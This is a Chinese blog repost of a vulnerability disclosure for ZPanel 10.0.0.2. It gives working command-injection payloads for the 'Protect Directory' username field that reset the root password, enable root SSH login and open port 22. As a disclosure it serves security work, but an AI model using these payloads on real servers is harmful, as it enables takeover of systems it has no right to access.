博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
ZPanel 10.0.0.2 Remote Command Execution
阅读量:2439 次
发布时间:2019-05-10

本文共 1494 字,大约阅读时间需要 4 分钟。

One of our expert team members (shachibista@gmail.com) who is assignedto do the security audit of ZPanel code has found the follwoingsecurity vulnerability with ZPanel 10.0.0.2 which will allow anyone toescalate the root accress and access the server by anyone. Thesecurity audit states the following:
I have been reviewing ZPanel code and there is a serious remoteexecution vulnerability in the "Protect Directory" module that allowsanyone with access to the page (Administrators, Resellers and Clientsby default) to execute arbitrary commands on the shell due to improper(non-existent) escaping of user input. The following steps can betaken to reproduce the exploit:1. Login as any user and visithttp://
/?module=htpasswd&selected=Selected&path=/1a. In the "Username" field input (including the initial semicolon andthe final hash):;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #2. Type any password3. Root password will be set to "newpassword"4. Visit http://
/?module=htpasswd&selected=Selected&path=/5. In the "Username" field (including initial semicolon and final hash):;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes\#/" /etc/ssh/*hd*g' #6. This will enable root login,7. One can repeat the same process to open port 22 through iptables(iptables -A INPUT -p tcp --dport 22 -j ACCEPT) and restart the sshserver (this will require the process twice as the internal buffersize of zsudo command is 100 characters)

转载地址:http://tkemb.baihongyu.com/

你可能感兴趣的文章
基础算法面试题---如何用队列实现栈(2)
查看>>
API接口安全性设计以及各参数的作用
查看>>
《Netty权威指南 第2版》学习笔记(1)---服务端与客户端开发入门
查看>>
《Netty权威指南 第2版》学习笔记(6)--- HTTP协议开发应用
查看>>
链表算法面试题---删除链表中的重复元素II
查看>>
链表算法面试题---合并两个链表
查看>>
链表算法面试题---旋转链表
查看>>
链表算法面试题---交换链表的节点I
查看>>
链表算法面试题---交换链表的节点II
查看>>
链表算法面试题---链表的插入排序
查看>>
链表算法面试题---链表的归并排序
查看>>
链表算法面试题---合并N个有序链表
查看>>
链表算法面试题---分割链表
查看>>
总结、归类---使用二分处理旋转数组的问题
查看>>
分布式常用技术
查看>>
uniapp DES加解密
查看>>
小程序数组去重
查看>>
计算机学科一些重要算法的列表
查看>>
进站画面:1q84音乐电台
查看>>
MFC程序更换XP皮肤
查看>>